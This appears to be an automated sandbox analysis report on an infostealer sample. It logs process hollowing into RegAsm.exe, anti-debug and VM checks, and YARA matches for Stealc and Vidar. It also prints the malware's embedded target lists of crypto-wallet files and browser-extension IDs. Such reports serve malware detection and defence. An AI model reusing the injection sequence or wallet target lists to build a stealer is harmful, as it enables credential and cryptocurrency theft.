Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	6_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	6_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	6_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_00401160 GetSystemInfo,ExitProcess,

6_2_00401160

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: HJDBAFIE.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: HJDBAFIE.6.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: HJDBAFIE.6.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: HJDBAFIE.6.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: HJDBAFIE.6.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: HJDBAFIE.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 00000006.00000002.2195683776.000000000155B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.0000000001515000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HJDBAFIE.6.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: HJDBAFIE.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: HJDBAFIE.6.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: HJDBAFIE.6.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: HJDBAFIE.6.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: HJDBAFIE.6.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: HJDBAFIE.6.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: HJDBAFIE.6.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: HJDBAFIE.6.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: HJDBAFIE.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: HJDBAFIE.6.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: HJDBAFIE.6.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: HJDBAFIE.6.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: HJDBAFIE.6.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: HJDBAFIE.6.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegAsm.exe, 00000006.00000002.2195683776.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareb
Source: HJDBAFIE.6.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: HJDBAFIE.6.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: HJDBAFIE.6.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: HJDBAFIE.6.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: HJDBAFIE.6.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: HJDBAFIE.6.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegAsm.exe, 00000006.00000002.2195683776.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HJDBAFIE.6.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: HJDBAFIE.6.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: HJDBAFIE.6.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: HJDBAFIE.6.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_6-77642
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_6-76467
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_6-76507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_6-76464
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_6-76279
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_6-76485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_6-76486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_6-76478

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

6_2_0041ACFA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_00404610 VirtualProtect ?,00000004,00000100,00000000

6_2_00404610

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

6_2_004195E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_00419160 mov eax, dword ptr fs:[00000030h]

6_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

6_2_00405000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0041C8D9 SetUnhandledExceptionFilter,	6_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA4B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_6CA4B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA4B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_6CA4B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CBFAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_6CBFAC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 4208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6616, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_02D92429 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_02D92429

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

6_2_004190A0

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1001008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\CAKKJKKECF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\CAKKJKKECF.exe "C:\ProgramData\CAKKJKKECF.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_6CA4B341 cpuid

6_2_6CA4B341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

6_2_00417630

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

6_2_00417420

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

6_2_004172F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

6_2_004174D0

Source: file.exe, 00000000.00000002.2041941108.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: file.exe, 00000000.00000002.2041941108.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.CAKKJKKECF.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected Stealc

Source: Yara match	File source: 00000006.00000002.2195683776.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6616, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 6616, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: eemkbgci\|1\|0\|0\|MetaMask\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|MetaMask\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|TronLink\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|Binance Wallet\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|0\|0\|Yoroi\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase Wallet extension\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|0\|Jaxx Liberty\|cjelfplplebdjjenllpjcblmjkfcffne\|1\|0\|0\|iWallet\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|MEW CX\|nlbmnnijcnlegkjjpcfjclmcfggfefdm\|1\|0\|0\|GuildWallet\|nanjmdknhkinifnkgdcggcfnhdaammmj\|1\|0\|0\|Ronin Wallet\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CLV Wallet\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|Liquality Wallet\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra Station Wallet\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|Sollet\|fhmfendgdocmcbmfikdcogofphimnkno\|1\|0\|0\|Auro Wallet(Mina Protocol)\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|Polymesh Wallet\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98 Wallet\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain Wallet\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Brave Wallet\|odbfpeeihdkbihmopkbjmoonfanlbfcl\|1\|0\|0\|Oxygen\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|Pali Wallet\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|BOLT X\|aodkkagnadcbobfpggfnjeongemjbjca\|1\|0\|0\|XDEFI Wallet\|hmeobnfnfcmdkdcmlblgagmfpfboieaf\|1\|0\|0\|Nami\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Maiar DeFi Wallet\|dngmlblcodfobpdpecaadgfbcggfjfnm\|1\|0\|0\|Keeper Wallet\|lpilbniiabackdjcionkobglmddfbcjo\|1\|0\|0\|Solflare Wallet\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|Cyano Wallet\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Temple\|ookjlbkiijinhpmnjffcofjonbfbgaoc\|1\|0\|0\|Goby\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|Ronin Wallet\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|Byone\|nlgbhdfgdhgbiamfdfmbikcdghidoadd\|1\|0\|0\|OneKey\|jnmbobjmhlngoefaiojfljckilhhlhcj\|1\|0\|0\|DAppPlay\|lodccjjbdhfakaekdiahmedfbieldgik\|1\|0\|0\|SteemKeychain\|jhgnbkkipaallpehbohjmkbjofjdmeid\|1\|0\|0\|Braavos Wallet\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|kkpllkodjeloidieedojogacfhpaihoh\|1\|1\|1\|OKX Wallet\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender Wallet\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|Eternl\|kmhcihpebfmpgmihbkipmjlmmioameka\|1\|0\|0\|Pontem Aptos Wallet\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Petra Aptos Wallet\|ejjladinnckdgjemekebdpeokbikhfci\|1\|0\|0\|Martian Aptos Wallet\|efbglgofoippbgcjepnhiblaibcnclgk\|1\|0\|0\|Finnie\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra Wallet\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Trezor Password Manager\|imloifkgjagghnncjkhggdhalmcnfklk\|1\|0\|0\|Authenticator\|bhghoamapcdpbohphigoooaddinpkbai\|1\|0\|0\|Authy\|gaedmjdfmmahhbjefcbgaolhhan
